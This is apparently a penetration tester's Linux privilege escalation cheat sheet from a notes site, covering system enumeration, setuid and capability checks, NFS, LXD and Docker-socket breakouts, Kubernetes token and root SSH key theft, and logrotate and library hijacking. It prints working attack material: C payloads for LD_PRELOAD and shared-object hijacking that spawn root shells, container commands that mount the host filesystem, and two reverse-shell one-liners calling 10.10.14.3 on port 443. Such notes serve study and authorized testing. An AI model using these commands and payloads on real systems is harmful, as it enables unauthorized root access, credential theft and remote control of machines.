Linux Privilege Escalation

Enumeration

General command

whoami
id
hostname
ip -a of ifconfig
sudo -l

OS Version
- cat /etc/os-release
Kernel Version
- uname -r
- uname -a
- cat /proc/version

Users

LoggedIn User
- w
- who
- lastlog
Home Directory Content
- ls /home
- ls -la /home/<username>/
- ls -l ~/.ssh
Environment
- echo $PATH
- env
Shell Installed
- cat /etc/shells
Bash History
- `history
Sudo Priviliges
- sudo -l
Users
- cat /etc/passwd
- cat /etc/group
- getent group <gruppo>

Interesting Files

Configuration Files
- .conf .config .xml .bak
- find / -type f $ -name *.conf -o -name *.config $ -exec ls -l {} \; 2>/dev/null
- find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null
Scripts File
- find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"
Readable Shadow File
- /etc/shadow
Files & Dir
- find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null
- find / -type d -name ".*" -ls 2>/dev/null
- ls -l /tmp /var/tmp /dev/shm
Finding History Files
- find / -type f $ -name *_hist -o -name *_history $ -exec ls -l {} \; 2>/dev/null
Find Writable
- Directories find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null
- Files find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null

Services & Internal Enumeration

Cron Jobs
- ls -la /etc/cron.daily/
File System and Additional Drives
- lsblk -> drive
- lpstat -> printer
- cat /etc/fstab -> drive/file system
- df -h -> mounted file system
- cat /etc/fstab | grep -v "#" | column -t -> unmounted file system
Network
- ip a
- route - netstat -r
- arp -a
- cat /etc/resolv.conf
- cat /etc/hosts
Binaries
- ls -l /bin /usr/bin/ /usr/sbin/
Hardware
- lscpu
Running Services
- find /proc -name cmdline -exec cat {} \; 2>/dev/null | tr " " "\n"
List Current Process
- ps aux | grep <user>/root
- ps au
Sudo Version
- sudo -V
Installed Packages and Version
- apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list

Misconfiguration

Path Abuse

Check PATH env

Wildcard Abuse

Check if *, ?, [], ~, -

`SETUID` adn `SETGID` permissions

find "$DIRECTORY" -perm /4000
find "$DIRECTORY" -perm /2000
find "$DIRECTORY" -perm /u=s,g=s
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null

Sudo Right Abuse

sudo -l

Weak NFS

showmount -e 10.129.2.12
cat /etc/exports
Copy shell to /mnt and add SETUID
- cp shell /mnt
- chmod u+s /mnt/shell
- sudo mount -t nfs 10.129.2.12:/tmp /mnt

Hijacking Tmux Session

Check tmux process running as a privileged user (dev group onlu )
- ps aux | grep tmux
- ls -la /shareds
- tmux -S /shareds

Capabilities

CAP_SETUID
CAP_SETGID
CAP_SYS_ADMIN
Enumerate
- find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;

Privileged Groups

LXC/LXD
- Staring privilege container with privileged=true
- lxd init
- lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
- `lxc init alpine r00t -c security.privileged=true
- lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
- lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
- lxc start r00t
  - lxc exec r00t /bin/sh
Docker
- see Docker Abuse
Disk
ADM

Service and process Abuse

Cron Job Abuse

/etc/cron.d
ls -la /etc/cron.daily/
Find writable file
- find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
Enumerate running process
- ./pspy64 -pf -i 1000

Docker Abuse

Docker
- Same as Linux
- Intereseting docker.sock - /var/run/docker.sock
  - /tmp/docker -H unix:///app/docker.sock ps
  - /tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main_app
  - /tmp/docker -H unix:///app/docker.sock ps
  - /tmp/docker -H unix:///app/docker.sock exec -it 7ae3bcc818af /bin/bash
  - docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash

Kubernetes

Each pod functions as a separate virtual machine on a node, complete with its own IP, hostname, and other details.
Control Plane -> master node
- TCP etcd 2379, 2380
- API Server 6443
- Scheduler 10251
- Controller manager 10252
- Kubelet API 10250
- Read-Only Kubelet API 10255
Minion -> Worker Noded
API Server Interaction
- curl https://10.129.10.11:6443 -k
- Extracting Pod
  - curl https://10.129.10.11:10250/pods -k | jq .
- Extracting pod
  - kubeletctl -i --server 10.129.10.11 pods
- Available Commands
  - kubeletctl -i --server 10.129.10.11 scan rce
- Execute Command
  - $ kubeletctl -i --server 10.129.10.11 exec "id" -p nginx -c nginx
- Extracting Token
  - kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token
- Extracting Certificates
  - kubeletctl --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee -a ca.crt
- List Privileges
  - export token=cat k8.token`
  - kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.10.11:6443 auth can-i --list
- Creating new pod
  - kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 apply -f privesc.yaml
  - kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 get pods
- Extracting root ssh key
  - kubeletctl --server 10.129.10.11 exec "cat /root/root/.ssh/id_rsa" -p privesc -c privesc

LogRotate

logrotate
cat /etc/logrotate.conf
sudo cat /var/lib/logrotate.status
ls /etc/logrotate.d/
cat /etc/logrotate.d/dpkg
For exploiting
- write permission on the log files
- run as root
- vulnerable version e.g., 3.8.6, 3.11.0, 3.15.0, 3.18.0
Tools - https://github.com/whotwagner/logrotten

Shared Library

General Information

Static libraries .a
- Compiled and part of the program
dynamically linked shared object libraries .so
- Can be altered
Specify location of dynamic libraries
- when compiling -rpath or -rpath-link
- using env LD_RUN_PATH or LD_LIBRARY_PATH
- placing in /lib or /usr/lib
- Changing /etc/ld.so.conf
- LD_PRELOAD - load library before executing binary
ldd binary

Exploiting `LD_PRELOAD`

Compile a so object

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
	unsetenv("LD_PRELOAD");
	setgid(0);
	setuid(0);
	system("/bin/bash");
}

gcc -fPIC -shared -o root.so root.c -nostartfiles
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart

Shared Object Hijacking

Searching non standard library
- use ldd <binary>
Find RUNPATH configuration (load shared libraries from custom location)
- readelf -d payroll | grep PATH

Before create a new library find function name called by binary

Running program and see undefined symbol

Create malicious shared object

	#include<stdio.h> #include<stdlib.h> void dbquery() {
    printf("Malicious library loaded\n");
    setuid(0);
    system("/bin/sh -p");

gcc src.c -fPIC -shared -o /development/libshared.so

Python Library Hijackin

Wrong write permission
- Change content library where is used
  #!/usr/bin/env python3 import psutil available_memory = psutil.virtual_memory()
  - grep -r "def virtual_memory"
Library Path
- python3 -c 'import sys; print("\n".join(sys.path))'
- module imported from target
- write permission on specific module or on higher modulels -al <path>
PYTHONPATH environment variable
- PYTHONPATH is an environment variable that indicates what directory (or directories) Python can search for modules to import.
- sudo PYTHONPATH=/newPATHWithLib /usr/bin/python3 ./mem_status.py

Various

Passive Traffic Capture

net-creds - https://github.com/DanMcInerney/net-creds
PCredz - https://github.com/lgandx/PCredz

0-day & Kernel Exploit

Sudo
Polkit
DirtyPipe - DirtyCow -
Netfilter

Rev Shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 443 >/tmp/f
bash -i >& /dev/tcp/10.10.14.3/443 0>&1

Tools

LinEnum - LinEnum
LinPeas
strace - for get creds
pspy
logrottten
net-creds
PCredz
readelf
ldd

Resources

PreviousTrust Attacks NextWindows Privilege Escalation

Last updated 9 months ago

Linux Privilege Escalation

Enumeration

General command

OS Related

Users

Interesting Files

Services & Internal Enumeration

Misconfiguration

Path Abuse

Wildcard Abuse

SETUID adn SETGID permissions

Sudo Right Abuse

Weak NFS

Hijacking Tmux Session

Capabilities

Privileged Groups

Service and process Abuse

Cron Job Abuse

Docker Abuse

Kubernetes

LogRotate

Shared Library

General Information

Exploiting LD_PRELOAD

Shared Object Hijacking

Python Library Hijackin

Various

Passive Traffic Capture

0-day & Kernel Exploit

Rev Shell

Tools

Resources

`SETUID` adn `SETGID` permissions

Exploiting `LD_PRELOAD`